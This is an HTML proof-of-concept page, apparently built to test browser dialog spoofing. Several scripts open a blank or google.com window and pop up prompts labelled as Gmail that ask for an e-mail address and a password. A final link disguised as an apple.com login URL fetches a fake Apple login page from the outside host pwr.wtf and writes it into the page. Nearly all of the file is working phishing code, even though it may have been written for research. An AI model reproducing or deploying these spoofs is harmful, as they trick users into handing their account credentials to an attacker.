index.html

<script> function go(){ 
 var x=window.open('about:blank'); 
 setTimeout(function(){
 a=x.alert('Go to gmail.com');x.prompt('E-mail','');b=x.prompt('Password','');x.alert('Welcome to Gmail.com');} ,1000);
  } 
 </script> 

<script> function go2(){ 
 var x=window.open('https://google.com'); 
 setTimeout(function(){
 a=x.alert('Go to gmail.com');x.prompt('E-mail','');b=x.prompt('Password','');x.alert('Welcome to Gmail.com');} ,1000);
  } 
 </script> 

<script> function go3(){ 
 var x=window.open('about:blank'); 
 setTimeout(function(){
 a=x.alert('Go to gmail.com');} ,1000);
  } 
 </script> 

<script> function twoAlert(){ 
alert("This is the first alert!");
alert("This is the second alert!");
}
 </script> 

<script> function twoAlertDelay(){ 
 setTimeout(function(){
alert("This is the first alert!");
alert("This is the second alert!");
}, 5000);
}
 </script> 


<script> function go4(){ 
 var x=window.open('about:blank'); 
 setTimeout(function(){
 a=x.alert('Go to gmail.com');x.prompt('E-mail','');} ,1000);
  } 
 </script> 

<button onclick="twoAlert()">two alerts</button>
<button onclick="twoAlertDelay()">two alerts w/ delay</button>
 <button onclick="go()">broken</button>
<button onclick="go2()">not broken</button>
<button onclick="go3()">just initial alert</button>
<button onclick="go4()">initial alert and one prompt</button>

<a href="data:application/javascript,www.apple.com/login?oauth=true&account&%0afetch(\'https://pwr.wtf/fakeapple.php\').then(r=%3E%7Br.text().then(w=%3E%7Bdocument.write(w)%7D)%7D)">test</a>